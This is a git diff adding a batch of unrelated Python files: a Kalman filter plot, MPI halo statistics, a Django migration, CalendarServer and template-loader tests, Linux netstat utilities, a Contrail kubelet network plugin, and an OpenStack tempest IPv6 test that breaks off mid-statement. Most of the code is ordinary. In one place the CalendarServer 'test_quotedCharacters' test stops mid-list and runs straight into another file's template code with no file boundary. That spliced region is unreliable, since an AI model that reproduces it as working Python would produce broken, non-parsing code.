#P(k|k-1) = AP(k-1|k-1)A' + Q(k) ,A=1 + + # measurement update + K[k] = Pminus[k]/( Pminus[k]+R ) #Kg(k)=P(k|k-1)H'/[HP(k|k-1)H' + R],H=1 + xhat[k] = xhatminus[k]+K[k]*(z[k]-xhatminus[k]) #X(k|k) = X(k|k-1) + Kg(k)[Z(k) - HX(k|k-1)], H=1 + P[k] = (1-K[k])*Pminus[k] #P(k|k) = (1 - Kg(k)H)P(k|k-1), H=1 + +pylab.figure() +pylab.plot(z,'k+',label='noisy measurements') #测量值 +pylab.plot(xhat,'b-',label='a posteri estimate') #过滤后的值 +pylab.axhline(x,color='g',label='truth value') #系统值 +pylab.legend() +pylab.xlabel('Iteration') +pylab.ylabel('Voltage') + +pylab.figure() +valid_iter = range(1,n_iter) # Pminus not valid at step 0 +pylab.plot(valid_iter,Pminus[valid_iter],label='a priori error estimate') +pylab.xlabel('Iteration') +pylab.ylabel('$(Voltage)^2$') +pylab.setp(pylab.gca(),'ylim',[0,.01]) +pylab.show() \ No newline at end of file diff --git a/pool/shard008/Python/0075728_halos.py b/pool/shard008/Python/0075728_halos.py new file mode 100644 index 0000000000000000000000000000000000000000..0664ca7c8ca7155084607e88a35d0bcdc7009a8e --- /dev/null +++ b/pool/shard008/Python/0075728_halos.py @@ -0,0 +1,85 @@ +import numpy +from mpi4py import MPI + +from ndarray import equiv_class + +def centerofmass(label, pos, boxsize=1.0, comm=MPI.COMM_WORLD): + """ + Calulate the center of mass of particles of the same label. + + The center of mass is defined as the mean of positions of particles, + but care has to be taken regarding to the periodic boundary. + + This is a collective operation, and after the call, all ranks + will have the position of halos. + + Parameters + ---------- + label : array_like (integers) + Halo label of particles, >=0 + pos : array_like (float, 3) + position of particles. + boxsize : float or None + size of the periodic box, or None if no periodic boundary is assumed. + comm : :py:class:`MPI.Comm` + communicator for the collective operation. + + Returns + ------- + hpos : array_like (float, 3) + the center of mass position of the halos. + + """ + Nhalo0 = max(comm.allgather(label.max())) + 1 + + N = numpy.bincount(label, minlength=Nhalo0) + comm.Allreduce(MPI.IN_PLACE, N, op=MPI.SUM) + + if boxsize is not None: + posmin = equiv_class(label, pos, op=numpy.fmin, dense_labels=True, identity=numpy.inf, + minlength=len(N)) + comm.Allreduce(MPI.IN_PLACE, posmin, op=MPI.MIN) + dpos = pos - posmin[label] + bhalf = boxsize * 0.5 + dpos[dpos < -bhalf] += boxsize + dpos[dpos >= bhalf] -= boxsize + else: + dpos = pos + dpos = equiv_class(label, dpos, op=numpy.add, dense_labels=True, minlength=len(N)) + + comm.Allreduce(MPI.IN_PLACE, dpos, op=MPI.SUM) + dpos /= N[:, None] + + if boxsize: + hpos = posmin + dpos + hpos %= boxsize + else: + hpos = dpos + return hpos + +def count(label, comm=MPI.COMM_WORLD): + """ + Count the number of particles of the same label. + + This is a collective operation, and after the call, all ranks + will have the particle count. + + Parameters + ---------- + label : array_like (integers) + Halo label of particles, >=0 + comm : :py:class:`MPI.Comm` + communicator for the collective operation. + + Returns + ------- + count : array_like + the count of number of particles in each halo + + """ + Nhalo0 = max(comm.allgather(label.max())) + 1 + + N = numpy.bincount(label, minlength=Nhalo0) + comm.Allreduce(MPI.IN_PLACE, N, op=MPI.SUM) + + return N diff --git a/pool/shard008/Python/0075732_fabfile.py b/pool/shard008/Python/0075732_fabfile.py new file mode 100644 index 0000000000000000000000000000000000000000..ffd83a0f77865f76451ce597b308782408297d64 --- /dev/null +++ b/pool/shard008/Python/0075732_fabfile.py @@ -0,0 +1,16 @@ +from fabric.api import * +from fabric.context_managers import * +from fabric.contrib.console import confirm +import os, subprocess, sys, json + +lib_path = os.path.abspath(os.path.join('./util')) +sys.path.append(lib_path) +from md_utils import * + +local_dir = os.getcwd() + +@task +def unittest(): + local("python test/md_utils_test.py") + + diff --git a/pool/shard008/Python/0075733_0005_auto_20190407_0518.py b/pool/shard008/Python/0075733_0005_auto_20190407_0518.py new file mode 100644 index 0000000000000000000000000000000000000000..03f0f206455969bfaa9e04c91d40d87a58d103d6 --- /dev/null +++ b/pool/shard008/Python/0075733_0005_auto_20190407_0518.py @@ -0,0 +1,27 @@ +# -*- coding: utf-8 -*- +# Generated by Django 1.9.2 on 2019-04-07 05:18 +from __future__ import unicode_literals + +from django.conf import settings +from django.db import migrations, models +import django.db.models.deletion + + +class Migration(migrations.Migration): + + dependencies = [ + migrations.swappable_dependency(settings.AUTH_USER_MODEL), + ('Exercise', '0004_auto_20190407_0516'), + ] + + operations = [ + migrations.RemoveField( + model_name='exercise', + name='author', + ), + migrations.AddField( + model_name='exercise', + name='author', + field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL), + ), + ] diff --git a/pool/shard008/Python/0075735_test_extensions.py b/pool/shard008/Python/0075735_test_extensions.py new file mode 100644 index 0000000000000000000000000000000000000000..aef0eaa7c54f607e8deab1df303222d3f0ee0445 --- /dev/null +++ b/pool/shard008/Python/0075735_test_extensions.py @@ -0,0 +1,281 @@ +# -*- coding: utf-8 -*- +## +# Copyright (c) 2009-2014 Apple Inc. All rights reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +## + +from twext.python.filepath import CachingFilePath as FilePath +from txweb2.http_headers import MimeType +from txweb2.static import MetaDataMixin + +from twisted.internet.defer import inlineCallbacks, Deferred, succeed +from twisted.web.microdom import parseString + +from twistedcaldav.extensions import DAVFile, DAVResourceWithChildrenMixin, extractCalendarServerPrincipalSearchData, validateTokens +from twistedcaldav.test.util import TestCase + +from txdav.xml.element import WebDAVElement, ResourceType +from txdav.xml.parser import WebDAVDocument + +from xml.etree.cElementTree import XML + +class UnicodeProperty(WebDAVElement): + """ + An element with a unicode name. + """ + + name = u'unicode' + + allowed_children = {} + + + +class StrProperty(WebDAVElement): + """ + An element with a unicode name. + """ + + name = 'str' + + allowed_children = {} + + + +class SimpleFakeRequest(object): + """ + Emulate a very small portion of the web2 'Request' API, just enough to + render a L{DAVFile}. + + @ivar path: the path portion of the URL being rendered. + """ + + def __init__(self, path): + self.path = path + + + def urlForResource(self, resource): + """ + @return: this L{SimpleFakeRequest}'s 'path' attribute, since this + request can render only one thing. + """ + return self.path + + + +def browserHTML2ETree(htmlString): + """ + Loosely interpret an HTML string as XML and return an ElementTree object for it. + + We're not promising strict XML (in fact, we're specifically saying HTML) in + the content-type of certain responses, but it's much easier to work with + the ElementTree data structures present in Python 2.5+ for testing; so + we'll use Twisted's built-in facilities to sanitize the inputs before + making any structured assertions about them. + + A more precise implementation would use + U{HTML5Lib}'s + etree bindings to do the parsing, as that is more directly 'what a browser + would do', but Twisted's built-in stuff is a good approximation and doesn't + drag in another dependency. + + @param htmlString: a L{str}, encoded in UTF-8, representing a pile of + browser-friendly HTML tag soup. + + @return: an object implementing the standard library ElementTree interface. + """ + return XML(parseString(htmlString, beExtremelyLenient=True).toxml()) + + + +nonASCIIFilename = u"アニメ.txt" + + +class DirectoryListingTest(TestCase): + """ + Test cases for HTML directory listing. + """ + + @inlineCallbacks + def doDirectoryTest(self, addedNames, modify=lambda x: None, + expectedNames=None): + """ + Do a test of a L{DAVFile} pointed at a directory, verifying that files + existing with the given names will be faithfully 'played back' via HTML + rendering. + """ + if expectedNames is None: + expectedNames = addedNames + fp = FilePath(self.mktemp()) + fp.createDirectory() + for sampleName in expectedNames: + fp.child(sampleName).touch() + df = DAVFile(fp) + modify(df) + responseText = (yield df.render(SimpleFakeRequest('/'))).stream.read() + responseXML = browserHTML2ETree(responseText) + names = set([element.text.encode("utf-8") + for element in responseXML.findall(".//a")]) + self.assertEquals(set(expectedNames), names) + + + def test_simpleList(self): + """ + Rendering a L{DAVFile} that is backed by a directory will produce an + HTML document including links to its contents. + """ + return self.doDirectoryTest([u'gamma.txt', u'beta.html', u'alpha.xml']) + + + def test_emptyList(self): + """ + Listing a directory with no files in it will produce an index with no + links. + """ + return self.doDirectoryTest([]) + + + def test_nonASCIIList(self): + """ + Listing a directory with a file in it that includes characters that + fall outside of the 'Basic Latin' and 'Latin-1 Supplement' unicode + blocks should result in those characters being rendered as links in the + index. + """ + return self.doDirectoryTest([nonASCIIFilename.encode("utf-8")]) + + + @inlineCallbacks + def test_nonASCIIListMixedChildren(self): + """ + Listing a directory that contains unicode content-type metadata and + non-ASCII characters in a filename should result in a listing that + contains the names of both entities. + """ + unicodeChildName = "test" + def addUnicodeChild(davFile): + m = MetaDataMixin() + m.contentType = lambda: MimeType.fromString('text/plain') + m.resourceType = lambda: ResourceType() + m.isCollection = lambda: False + davFile.putChild(unicodeChildName, m) + yield self.doDirectoryTest([nonASCIIFilename], addUnicodeChild, + [nonASCIIFilename.encode("utf-8"), unicodeChildName]) + + + @inlineCallbacks + def test_nonASCIIListMixedProperties(self): + """ + Listing a directory that contains unicode DAV properties and non-ASCII + characters in a filename should result in a listing that contains the + names of both entities. + """ + def addUnicodeChild(davFile): + davFile.writeProperty(UnicodeProperty(), None) + davFile.writeProperty(StrProperty(), None) + yield self.doDirectoryTest([nonASCIIFilename], addUnicodeChild, + [nonASCIIFilename.encode("utf-8")]) + + + def test_quotedCharacters(self): + """ + Filenames might contain < or > characters, which need to be quoted in + HTML. + """ + return self.doDirectoryTest([u'.txt', u'\ +""".format(expected_filled_template) + + +another_template = u"""\ +This is an even simpler xml template. +""" + + +simple_template = u"""\ + + This is a simple xml template. + + simple_template + + +""" + + +expected_scenarios_with_identifiers = [ + ("another_template", "Another Template", another_template), + ("simple_template", "Simple Template", simple_template), +] + + +expected_scenarios = [(t, c) for (i, t, c) in expected_scenarios_with_identifiers] + + +class TestResourceLoader(unittest.TestCase): + def test_load_unicode(self): + s = ResourceLoader(__name__).load_unicode("data/simple_django_template.txt") + self.assertEquals(s, expected_string) + + def test_load_unicode_from_another_module(self): + s = ResourceLoader("tests.unit.data").load_unicode("simple_django_template.txt") + self.assertEquals(s, expected_string) + + def test_render_template(self): + loader = ResourceLoader(__name__) + s = loader.render_template("data/simple_django_template.txt", example_context) + self.assertEquals(s, expected_filled_template) + + def test_render_js_template(self): + loader = ResourceLoader(__name__) + s = loader.render_js_template("data/simple_django_template.txt", example_id, example_context) + self.assertEquals(s, expected_filled_js_template) + + def test_load_scenarios(self): + loader = ResourceLoader(__name__) + scenarios = loader.load_scenarios_from_path("data") + self.assertEquals(scenarios, expected_scenarios) + + def test_load_scenarios_with_identifiers(self): + loader = ResourceLoader(__name__) + scenarios = loader.load_scenarios_from_path("data", include_identifier=True) + self.assertEquals(scenarios, expected_scenarios_with_identifiers) diff --git a/pool/shard008/Python/0076011_create.py b/pool/shard008/Python/0076011_create.py new file mode 100644 index 0000000000000000000000000000000000000000..e1229d0185ed87d54340e91ecbdf52e7a95b6cda --- /dev/null +++ b/pool/shard008/Python/0076011_create.py @@ -0,0 +1,58 @@ +#!/usr/bin/env python +# +# Copyright (c) 2015 Intel Corporation. +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions are met: +# +# * Redistributions of works must retain the original copyright notice, this +# list of conditions and the following disclaimer. +# * Redistributions in binary form must reproduce the original copyright +# notice, this list of conditions and the following disclaimer in the +# documentation and/or other materials provided with the distribution. +# * Neither the name of Intel Corporation nor the names of its contributors +# may be used to endorse or promote products derived from this work without +# specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY INTEL CORPORATION "AS IS" +# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +# ARE DISCLAIMED. IN NO EVENT SHALL INTEL CORPORATION BE LIABLE FOR ANY DIRECT, +# INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, +# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY +# OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING +# NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, +# EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +# +# Authors: +# Yin, Haichao + +import unittest +import sys +import os +import commands +import comm + + +class TestCrosswalkApptoolsFunctions(unittest.TestCase): + + def test_dir_exist(self): + try: + comm.setUp() + os.chdir(comm.TEMP_DATA_PATH) + comm.cleanTempData(comm.TEST_PROJECT_COMM) + os.mkdir(comm.TEST_PROJECT_COMM) + cmd = "crosswalk-app create " + comm.TEST_PROJECT_COMM + packstatus = commands.getstatusoutput(cmd) + ''' + 2048 return from packstatus, is directory already exist + ''' + self.assertNotEquals(packstatus[0], 0) + comm.cleanTempData(comm.TEST_PROJECT_COMM) + except Exception as e: + print Exception, "Create org.xwalk.testlinux error:", e + sys.exit(1) + +if __name__ == '__main__': + unittest.main() diff --git a/pool/shard008/Python/0076014_netutil.py b/pool/shard008/Python/0076014_netutil.py new file mode 100644 index 0000000000000000000000000000000000000000..d08052b08e1617589a50ec7eba92bf1c6690fe5d --- /dev/null +++ b/pool/shard008/Python/0076014_netutil.py @@ -0,0 +1,158 @@ +#!/usr/bin/env python3 +# Copyright (c) 2009-2019 The Bitcoin Core developers +# Copyright (c) 2014-2019 The DigiByte Core developers +# Distributed under the MIT software license, see the accompanying +# file COPYING or http://www.opensource.org/licenses/mit-license.php. +"""Linux network utilities. + +Roughly based on http://voorloopnul.com/blog/a-python-netstat-in-less-than-100-lines-of-code/ by Ricardo Pascal +""" + +import sys +import socket +import struct +import array +import os +from binascii import unhexlify + +# STATE_ESTABLISHED = '01' +# STATE_SYN_SENT = '02' +# STATE_SYN_RECV = '03' +# STATE_FIN_WAIT1 = '04' +# STATE_FIN_WAIT2 = '05' +# STATE_TIME_WAIT = '06' +# STATE_CLOSE = '07' +# STATE_CLOSE_WAIT = '08' +# STATE_LAST_ACK = '09' +STATE_LISTEN = '0A' +# STATE_CLOSING = '0B' + +def get_socket_inodes(pid): + ''' + Get list of socket inodes for process pid. + ''' + base = '/proc/%i/fd' % pid + inodes = [] + for item in os.listdir(base): + target = os.readlink(os.path.join(base, item)) + if target.startswith('socket:'): + inodes.append(int(target[8:-1])) + return inodes + +def _remove_empty(array): + return [x for x in array if x !=''] + +def _convert_ip_port(array): + host,port = array.split(':') + # convert host from mangled-per-four-bytes form as used by kernel + host = unhexlify(host) + host_out = '' + for x in range(0, len(host) // 4): + (val,) = struct.unpack('=I', host[x*4:(x+1)*4]) + host_out += '%08x' % val + + return host_out,int(port,16) + +def netstat(typ='tcp'): + ''' + Function to return a list with status of tcp connections at linux systems + To get pid of all network process running on system, you must run this script + as superuser + ''' + with open('/proc/net/'+typ,'r',encoding='utf8') as f: + content = f.readlines() + content.pop(0) + result = [] + for line in content: + line_array = _remove_empty(line.split(' ')) # Split lines and remove empty spaces. + tcp_id = line_array[0] + l_addr = _convert_ip_port(line_array[1]) + r_addr = _convert_ip_port(line_array[2]) + state = line_array[3] + inode = int(line_array[9]) # Need the inode to match with process pid. + nline = [tcp_id, l_addr, r_addr, state, inode] + result.append(nline) + return result + +def get_bind_addrs(pid): + ''' + Get bind addresses as (host,port) tuples for process pid. + ''' + inodes = get_socket_inodes(pid) + bind_addrs = [] + for conn in netstat('tcp') + netstat('tcp6'): + if conn[3] == STATE_LISTEN and conn[4] in inodes: + bind_addrs.append(conn[1]) + return bind_addrs + +# from: http://code.activestate.com/recipes/439093/ +def all_interfaces(): + ''' + Return all interfaces that are up + ''' + import fcntl # Linux only, so only import when required + + is_64bits = sys.maxsize > 2**32 + struct_size = 40 if is_64bits else 32 + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + max_possible = 8 # initial value + while True: + bytes = max_possible * struct_size + names = array.array('B', b'\0' * bytes) + outbytes = struct.unpack('iL', fcntl.ioctl( + s.fileno(), + 0x8912, # SIOCGIFCONF + struct.pack('iL', bytes, names.buffer_info()[0]) + ))[0] + if outbytes == bytes: + max_possible *= 2 + else: + break + namestr = names.tobytes() + return [(namestr[i:i+16].split(b'\0', 1)[0], + socket.inet_ntoa(namestr[i+20:i+24])) + for i in range(0, outbytes, struct_size)] + +def addr_to_hex(addr): + ''' + Convert string IPv4 or IPv6 address to binary address as returned by + get_bind_addrs. + Very naive implementation that certainly doesn't work for all IPv6 variants. + ''' + if '.' in addr: # IPv4 + addr = [int(x) for x in addr.split('.')] + elif ':' in addr: # IPv6 + sub = [[], []] # prefix, suffix + x = 0 + addr = addr.split(':') + for i,comp in enumerate(addr): + if comp == '': + if i == 0 or i == (len(addr)-1): # skip empty component at beginning or end + continue + x += 1 # :: skips to suffix + assert x < 2 + else: # two bytes per component + val = int(comp, 16) + sub[x].append(val >> 8) + sub[x].append(val & 0xff) + nullbytes = 16 - len(sub[0]) - len(sub[1]) + assert (x == 0 and nullbytes == 0) or (x == 1 and nullbytes > 0) + addr = sub[0] + ([0] * nullbytes) + sub[1] + else: + raise ValueError('Could not parse address %s' % addr) + return bytearray(addr).hex() + +def test_ipv6_local(): + ''' + Check for (local) IPv6 support. + ''' + import socket + # By using SOCK_DGRAM this will not actually make a connection, but it will + # fail if there is no route to IPv6 localhost. + have_ipv6 = True + try: + s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM) + s.connect(('::1', 0)) + except socket.error: + have_ipv6 = False + return have_ipv6 diff --git a/pool/shard008/Python/0076018_plugin.py b/pool/shard008/Python/0076018_plugin.py new file mode 100644 index 0000000000000000000000000000000000000000..b30bcc5d5c0d2236422e6a71f753fa554e51f90d --- /dev/null +++ b/pool/shard008/Python/0076018_plugin.py @@ -0,0 +1,244 @@ +# +# Copyright (c) 2015 Juniper Networks, Inc. +# + +import argparse +import iniparse +import json +import logging +import os +import platform +import re +import requests +import socket +import subprocess +import sys +import time +import uuid +import xml.etree.ElementTree as ElementTree + +import vnc_api.vnc_api as opencontrail + +from contrail_vrouter_api.vrouter_api import ContrailVRouterApi +from lxc_manager import LxcManager +from shell import Shell + +class ContrailClient(object): + def __init__(self): + self._server = None + self._net_mode = "bridge" + self._readconfig() + self._client = opencontrail.VncApi(api_server_host=self._server) + + def _readconfig(self): + """ Expects a configuration file in the same directory as the + executable. + """ + path = os.path.normpath(sys.argv[0]) + filename = os.path.join(os.path.dirname(path), 'config') + config = iniparse.INIConfig(open(filename)) + self._server = config['DEFAULTS']['api_server'] + self._net_mode = config['DEFAULTS']['net_mode'] + + def local_address(self): + output = Shell.run('ip addr show vhost0') + expr = re.compile(r'inet ((([0-9]{1,3})\.){3}([0-9]{1,3}))/(\d+)') + m = expr.search(output) + if not m: + raise Exception('Unable to determine local IP address') + return m.group(1) + + def LocateRouter(self, hostname, localip): + try: + fqn = ['default-global-system-config', hostname] + vrouter = self._client.virtual_router_read(fq_name=fqn) + return vrouter + except opencontrail.NoIdError: + pass + + logging.debug('Creating virtual-router for %s:%s' % + (hostname, localip)) + vrouter = opencontrail.VirtualRouter( + hostname, + virtual_router_ip_address=localip) + self._client.virtual_router_create(vrouter) + +# end class ContrailClient + + +def plugin_init(): + client = ContrailClient() + client.LocateRouter(socket.gethostname(), client.local_address()) +# end plugin_init + + +def docker_get_pid(docker_id): + pid_str = Shell.run('docker inspect -f \'{{.State.Pid}}\' %s' % docker_id) + return int(pid_str) + +# kubelet config is at different places in different envs, unfortunately +def kubelet_get_api(): + fp = None + try: + fp = open('/etc/sysconfig/kubelet', 'r') + except: + try: + fp = open('/etc/default/kubelet', 'r') + except: + fp = open('/etc/kubernetes/kubelet', 'r') + + for line in fp.readlines(): + m = re.search(r'--api_servers=http[s]?://(\d+\.\d+\.\d+\.\d+)', line) + if m: + return m.group(1) + return None + +def getDockerPod(docker_id): + name = Shell.run('docker inspect -f \'{{.Name}}\' %s' % docker_id) + + # Name + # See: pkg/kubelet/dockertools/docker.go:ParseDockerName + # name_namespace_uid + fields = name.rstrip().split('_') + + podName = fields[2] + uid = fields[4] + return uid, podName + +def getPodInfo(namespace, podName): + kubeapi = kubelet_get_api() + + data = Shell.run( + 'kubectl --server=%s:8080 get --namespace=%s -o json pod %s' % ( + kubeapi, namespace, podName), True) + return json.loads(data) + +def setup(pod_namespace, pod_name, docker_id): + """ + project: pod_namespace + network: pod_name + netns: docker_id{12} + """ + client = ContrailClient() + + # Kubelet::createPodInfraContainer ensures that State.Pid is set + pid = docker_get_pid(docker_id) + if pid == 0: + raise Exception('Unable to read State.Pid') + + short_id = docker_id[0:11] + + if not os.path.exists('/var/run/netns'): + os.mkdir('/var/run/netns') + + Shell.run('ln -sf /proc/%d/ns/net /var/run/netns/%s' % (pid, short_id)) + + manager = LxcManager() + + if client._net_mode == 'none': + instance_ifname = 'veth0' + else: + instance_ifname = 'eth0' + + uid, podName = getDockerPod(docker_id) + podInfo = None + for i in range(0, 120): + podInfo = getPodInfo(pod_namespace, podName) + if 'annotations' in podInfo["metadata"] and \ + 'nic_uuid' in podInfo["metadata"]["annotations"]: + break + time.sleep(1) + + # The lxc_manager uses the mac_address to setup the container interface. + # Additionally the ip-address, prefixlen and gateway are also used. + if not 'annotations' in podInfo["metadata"] or not 'nic_uuid' in podInfo["metadata"]["annotations"]: + logging.error('No annotations in pod %s', podInfo["metadata"]["name"]) + sys.exit(1) + + + podAnnotations = podInfo["metadata"]["annotations"] + nic_uuid = podAnnotations["nic_uuid"] + mac_address = podAnnotations["mac_address"] + if client._net_mode == 'none': + ifname = manager.create_interface(short_id, instance_ifname, + mac_address) + else: + ifname = manager.move_interface(short_id, pid, instance_ifname, + mac_address) + + api = ContrailVRouterApi() + api.add_port(uid, nic_uuid, ifname, mac_address, + port_type='NovaVMPort', + display_name=podName, + hostname=podName+'.'+pod_namespace) + + ip_address = podAnnotations["ip_address"] + gateway = podAnnotations["gateway"] + Shell.run('ip netns exec %s ip addr add %s/32 peer %s dev %s' % \ + (short_id, ip_address, gateway, instance_ifname)) + Shell.run('ip netns exec %s ip route add default via %s' % \ + (short_id, gateway)) + Shell.run('ip netns exec %s ip link set %s up' % + (short_id, instance_ifname)) + # TX checksum is broken on Fedora 21 testbed. + # This may be an issue with kernel 3.17 or veth-pair code. + if platform.linux_distribution()[0:2] == ('Fedora', '21'): + Shell.run('nsenter -n -t %d ethtool -K %s tx off' % (pid, instance_ifname)) + +def vrouter_interface_by_name(vmName): + r = requests.get('http://localhost:8085/Snh_ItfReq') + root = ElementTree.fromstring(r.text) + for interface in root.iter('ItfSandeshData'): + vm = interface.find('vm_name') + if vm is not None and vm.text == vmName: + vmi = interface.find('uuid') + return vmi.text + return None + +def teardown(pod_namespace, pod_name, docker_id): + client = ContrailClient() + manager = LxcManager() + short_id = docker_id[0:11] + + api = ContrailVRouterApi() + + _, podName = getDockerPod(docker_id) + vmi = vrouter_interface_by_name(podName) + if vmi is not None: + api.delete_port(vmi) + + manager.clear_interfaces(short_id) + Shell.run('ip netns delete %s' % short_id) + +def main(): + logging.basicConfig(filename='/var/log/contrail/kubelet-driver.log', + level=logging.DEBUG) + logging.debug(' '.join(sys.argv)) + parser = argparse.ArgumentParser() + subparsers = parser.add_subparsers(title="action", dest='action') + + init_parser = subparsers.add_parser('init') + + cmd_parser = argparse.ArgumentParser(add_help=False) + cmd_parser.add_argument('pod_namespace') + cmd_parser.add_argument('pod_name') + cmd_parser.add_argument('docker_id') + + setup_parser = subparsers.add_parser('setup', parents=[cmd_parser]) + teardown_parser = subparsers.add_parser('teardown', parents=[cmd_parser]) + + args = parser.parse_args() + + try: + if args.action == 'init': + plugin_init() + elif args.action == 'setup': + setup(args.pod_namespace, args.pod_name, args.docker_id) + elif args.action == 'teardown': + teardown(args.pod_namespace, args.pod_name, args.docker_id) + except Exception as ex: + logging.error(ex) + sys.exit(1) + +if __name__ == '__main__': + main() diff --git a/pool/shard008/Python/0076025_test_network_v6.py b/pool/shard008/Python/0076025_test_network_v6.py new file mode 100644 index 0000000000000000000000000000000000000000..496f07ec3e554bd0b17091fa82776fb25e966f7c --- /dev/null +++ b/pool/shard008/Python/0076025_test_network_v6.py @@ -0,0 +1,261 @@ +# Copyright 2014 Cisco Systems, Inc. +# All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. +import functools + +import six + +from tempest import config +from tempest.lib.common.utils import test_utils +from tempest.scenario import manager +from tempest import test + + +CONF = config.CONF + + +class TestGettingAddress(manager.NetworkScenarioTest): + """Test Summary: + + 1. Create network with subnets: + 1.1. one IPv4 and + 1.2. one or more IPv6 in a given address mode + 2. Boot 2 VMs on this network + 3. Allocate and assign 2 FIP4 + 4. Check that vNICs of all VMs gets all addresses actually assigned + 5. Each VM will ping the other's v4 private address + 6. If ping6 available in VM, each VM will ping all of the other's v6 + addresses as well as the router's + """ + + @classmethod + def skip_checks(cls): + super(TestGettingAddress, cls).skip_checks() + if not (CONF.network_feature_enabled.ipv6 + and CONF.network_feature_enabled.ipv6_subnet_attributes): + raise cls.skipException('IPv6 or its attributes not supported') + if not (CONF.network.project_networks_reachable + or CONF.network.public_network_id): + msg = ('Either project_networks_reachable must be "true", or ' + 'public_network_id must be defined.') + raise cls.skipException(msg) + if CONF.baremetal.driver_enabled: + msg = ('Baremetal does not currently support network isolation') + raise cls.skipException(msg) + + @classmethod + def setup_credentials(cls): + # Create no network resources for these tests. + cls.set_network_resources() + super(TestGettingAddress, cls).setup_credentials() + + def setUp(self): + super(TestGettingAddress, self).setUp() + self.keypair = self.create_keypair() + self.sec_grp = self._create_security_group(tenant_id=self.tenant_id) + + def prepare_network(self, address6_mode, n_subnets6=1, dualnet=False): + """Prepare network + + Creates network with given number of IPv6 subnets in the given mode and + one IPv4 subnet. + Creates router with ports on all subnets. + if dualnet - create IPv6 subnets on a different network + :return: list of created networks + """ + self.network = self._create_network(tenant_id=self.tenant_id) + if dualnet: + self.network_v6 = self._create_network(tenant_id=self.tenant_id) + + sub4 = self._create_subnet(network=self.network, + namestart='sub4', + ip_version=4) + + router = self._get_router(tenant_id=self.tenant_id) + self.routers_client.add_router_interface(router['id'], + subnet_id=sub4['id']) + + self.addCleanup(test_utils.call_and_ignore_notfound_exc, + self.routers_client.remove_router_interface, + router['id'], subnet_id=sub4['id']) + + self.subnets_v6 = [] + for _ in range(n_subnets6): + net6 = self.network_v6 if dualnet else self.network + sub6 = self._create_subnet(network=net6, + namestart='sub6', + ip_version=6, + ipv6_ra_mode=address6_mode, + ipv6_address_mode=address6_mode) + + self.routers_client.add_router_interface(router['id'], + subnet_id=sub6['id']) + + self.addCleanup(test_utils.call_and_ignore_notfound_exc, + self.routers_client.remove_router_interface, + router['id'], subnet_id=sub6['id']) + + self.subnets_v6.append(sub6) + return [self.network, self.network_v6] if dualnet else [self.network] + + @staticmethod + def define_server_ips(srv): + ips = {'4': None, '6': []} + for net_name, nics in six.iteritems(srv['addresses']): + for nic in nics: + if nic['version'] == 6: + ips['6'].append(nic['addr']) + else: + ips['4'] = nic['addr'] + return ips + + def prepare_server(self, networks=None): + username = CONF.validation.image_ssh_user + + networks = networks or [self.network] + + srv = self.create_server( + key_name=self.keypair['name'], + security_groups=[{'name': self.sec_grp['name']}], + networks=[{'uuid': n['id']} for n in networks], + wait_until='ACTIVE') + fip = self.create_floating_ip(thing=srv) + ips = self.define_server_ips(srv=srv) + ssh = self.get_remote_client( + ip_address=fip['floating_ip_address'], + username=username) + return ssh, ips, srv["id"] + + def turn_nic6_on(self, ssh, sid): + """Turns the IPv6 vNIC on + + Required because guest images usually set only the first vNIC on boot. + Searches for the IPv6 vNIC's MAC and brings it up. + + @param ssh: RemoteClient ssh instance to server + @param sid: server uuid + """ + ports = [p["mac_address"] for p in + self._list_ports(device_id=sid, + network_id=self.network_v6['id'])] + self.assertEqual(1, len(ports), + message=("Multiple IPv6 ports found on network %s. " + "ports: %s") + % (self.network_v6, ports)) + mac6 = ports[0] + ssh.set_nic_state(ssh.get_nic_name_by_mac(mac6)) + + def _prepare_and_test(self, address6_mode, n_subnets6=1, dualnet=False): + net_list = self.prepare_network(address6_mode=address6_mode, + n_subnets6=n_subnets6, + dualnet=dualnet) + + sshv4_1, ips_from_api_1, sid1 = self.prepare_server(networks=net_list) + sshv4_2, ips_from_api_2, sid2 = self.prepare_server(networks=net_list) + + def guest_has_address(ssh, addr): + return addr in ssh.get_ip_list() + + # Turn on 2nd NIC for Cirros when dualnet + if dualnet: + self.turn_nic6_on(sshv4_1, sid1) + self.turn_nic6_on(sshv4_2, sid2) + + # get addresses assigned to vNIC as reported by 'ip address' utility + ips_from_ip_1 = sshv4_1.get_ip_list() + ips_from_ip_2 = sshv4_2.get_ip_list() + self.assertIn(ips_from_api_1['4'], ips_from_ip_1) + self.assertIn(ips_from_api_2['4'], ips_from_ip_2) + for i in range(n_subnets6): + # v6 should be configured since the image supports it + # It can take time for ipv6 automatic address to get assigned + srv1_v6_addr_assigned = functools.partial( + guest_has_address, sshv4_1, ips_from_api_1['6'][i]) + + srv2_v6_addr_assigned = functools.partial( + 